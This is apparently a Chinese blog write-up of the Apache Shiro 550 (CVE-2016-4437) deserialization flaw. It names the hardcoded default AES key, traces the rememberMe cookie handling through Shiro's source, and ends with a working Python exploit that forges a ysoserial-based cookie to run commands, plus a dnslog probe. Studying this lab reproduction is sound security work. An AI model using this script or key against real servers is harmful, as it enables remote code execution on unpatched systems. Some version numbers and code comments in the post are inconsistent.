0%

Shiro 550/CVE-2016-4437

Shiro 550/CVE-2016-4437

环境

1
2
3
4
5
6
7
8
commons-beautils:1.8.3
commons-collections:3.2.1
commons-logging:1.2
shiro-web:1.2.4
shiro-core:1.2.4
slf4j-api:1.7.30
slf4j-simple:1.7.30
Tomcat:9.0.73

现成配置的话可以参考这篇文章:https://blog.csdn.net/qq_47886905/article/details/123479769

漏洞描述

为了让浏览器或服务器重启后⽤户不丢失登录状态,Shiro⽀持将持久化信息序列化并加密后保存在Cookie的rememberMe字段 中,下次读取时进⾏解密再反序列化。但是在Shiro 1.2.4版本之前内置了⼀个默认且固定的加密Key,导致攻击者可以伪造任意 的rememberMe Cookie,进⽽触发反序列化漏洞。

简单介绍利用:

  • 通过在cookie的rememberMe字段中插入恶意payload,

  • 触发shiro框架的rememberMe的反序列化功能,导致任意代码执行。

  • shiro 1.2.24中,提供了硬编码的AES密钥:kPH+bIxk5D2deZiIxcaaaA==

  • 由于开发人员未修改AES密钥而直接使用Shiro框架,导致了该问题

利用条件

Shiro < 1.2.4

相关代码分析

我们从CookieRememberMeManager这个类开始进行分析

img

定义了一个默认cookie名称的字段以及一个Cookie类的对象cookie

继续看看它的构造方法:

img

发现这里实例化了一个SimpleCookie类,并将rememberMe作为参数传入,跟进

img

这个类主要是定义了一些与cookie相关的基础属性

img

这个构造方法并没有什么特别的地方,总的来说CookieRememberMeManager的构造方法就是得到一个cookie对象,并赋予其基础属性值。

我们可以继续去看另一个类:AbstractRememberMeManager

这是一个抽象类,实现了RememberMeManager接口,在这个类中,我们还可以发现默认的密钥

img

有点好奇,解码一下是这样的

img

我们继续关注一下这个类重写的RememberMeManager接口的onSuccessfulLogin方法,根据这个名字猜测应该是在登录成功后所执行的方法

img

首先验证了token的正确性,如果验证成功,那么就调用rememberIdentity方法,跟进

img

继续调用它的重载方法

img

定义了byte类型数组,并调用了convertPrincipalsToBytes方法,跟进

img

调用了一个serialize方法,跟进

img

又有一个getSerializer()方法,看看

img

返回一个Serializer对象,那么serialize的方法相当于就是调用了Serialize类的serialize方法,跟进

img

该接口定义了序列化与反序列化两种方法,继续看看这个接口的默认实现类DefaultSerializer,重写了serialize与deserialize两个方法,内部详细代码就是普通的序列化与反序列化过程,没有什么特别的

重新回到convertPrincipalsToBytes方法,当getCipherService()不为null时,进一步调用encrypt方法(稍微跟进一下getCipherService()方法,可以发现它默认并不为null)

img

这里的cipherService默认为AesCipherService对象,但是AesCipherService类并没有encrypt方法,进过几层继承关系,最后会调用到JcaCipherService的encrypt方法,好像是个AES加密,我也看不懂,就不分析了。

回到rememberIdentity方法,调用了rememberSerializedIdentity方法

img

这个抽象方法的实现在CookieRememberMeManager类中

img

就是进行一个base64编码,然后存储到cookie中

浅浅总结

我们发现cookie的解密是于反序列化相关的,那么我们就可以传一个恶意的反序列化代码,当shiro解析时,便会触发该链,造成命令执行。

而这一过程是如何实现的呢?

我们可以定位到CookieRememberMeManager类的getRememberedSerializedIdentity⽅法

img

对cookie进行一个base64解密,然后就应该进行AES解密了,向上寻找调用该方法的类,找到AbstractRememberMeManager类的getRememberedPrincipals方法

img

在调用getRememberedSerializedIdentity方法也就是进行base64解码后,继续调用convertBytesToPrincipals方法

img

进行AES解密后,便调用了反序列化操作,这里也就是漏洞点,而RememberMeManager接口定义了该方法,也就是说,每传入一次cookie,便会调用getRememberedPrincipals方法

代码调试验证

加密

首先在RememberMeManager接口的onSuccessfulLogin处下个断点

img

开始调试,登录,勾选rememberme

img

可以看到已经接收到了数据,继续步入,进入CookieRememberMeManager的forgetIdentity方法,处理request和response请求

img

继续进入forgetIdentity重载方法

img

调用getCookie的removeFrom方法,跟进removeFrom方法

img

对返回包的一些操作,其中就有我们熟悉的,deleteMe字段和rememberMe字段,也就是我们指纹识别最简单的两种方法的原理

回到onSuccessfulLogin方法

先检验token,随后步入 rememberIdentity 方法,看看做了什么

img

在rememberIdentity方法中,authcInfo的值就是我们输入root用户名,继续跟进rememberIdentity函数

img

进入rememberIdentity方法后发现,一个函数就是转化为bytes,跟进convertPrincipalsToBytes

img

这里便是刚刚说的序列化以及AES加密过程,就不详细分析了

回溯,进入rememberSerializedIdentity方法,也就是进行base64编码后保存到cookie

img

到这差不多就是完整的加密过程

解密

现在继续研究解密过程:

  • 首先确定切入点
  • 我选择从获取到客户端数据开始分析 ,那就是 org.apache.shiro.mgt.AbstractRememberMeManager 类的 getRememberedPrincipals 方法下断点
  • 随后在页面随便刷新一下,就可以触发这个方法

直接跟进 getRememberedSerializedIdentity(subjectContext) 方法,看看从数据中,都获取了什么

img

继续调用getRememberedSerializedIdentity方法,应该是获取cookie数据,步入

img

调用readvalue方法,就是获取cookie中rememberMe字段的值

img

回到getRememberedPrincipals方法,进入base64解密,将数据传回,回到convertBytesToPrincipals方法

调用convertBytesToPrincipals方法,跟进

img

先进行AES解密,然后反序列化,便执行了我们的恶意代码

漏洞复现

感觉自己搭建的环境有点问题,始终执行不了命令,所以后续选择了vulhub上的环境,这上面的环境是以CommonsBeanutils1作为攻击链的

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import base64
import sys
import uuid
import subprocess

import requests
from Crypto.Cipher import AES


def encode_rememberme(command):
# 这里使用CommonsCollections2模块
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsBeanutils1', command], stdout=subprocess.PIPE)

# 明文需要按一定长度对齐,叫做块大小BlockSize 这个块大小是 block_size = 16 字节
BS = AES.block_size

# 按照加密规则按一定长度对齐,如果不够要要做填充对齐
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

# 泄露的key
key = "kPH+bIxk5D2deZiIxcaaaA=="

# AES的CBC加密模式
mode = AES.MODE_CBC

# 使用uuid4基于随机数模块生成16字节的 iv向量
iv = uuid.uuid4().bytes

# 实例化一个加密方式为上述的对象
encryptor = AES.new(base64.b64decode(key), mode, iv)

# 用pad函数去处理yso的命令输出,生成的序列化数据
file_body = pad(popen.stdout.read())

# iv 与 (序列化的AES加密后的数据)拼接, 最终输出生成rememberMe参数
base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))

return base64_rememberMe_value


def dnslog(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_rememberMe_value


if __name__ == '__main__':
# cc2的exp
payload = encode_rememberme('touch /tmp/123')
print("(cc2链)rememberMe={}".format(payload.decode()))

# dnslog的poc
payload1 = encode_rememberme('http://81fo46.dnslog.cn/')
print("(dnslog链)rememberMe={}".format(payload1.decode()))

cookie = {
"rememberMe": payload.decode()
}

requests.get(url="http://127.0.0.1:8080/web_war/", cookies=cookie)

将生成的cookie放入即可执行命令

img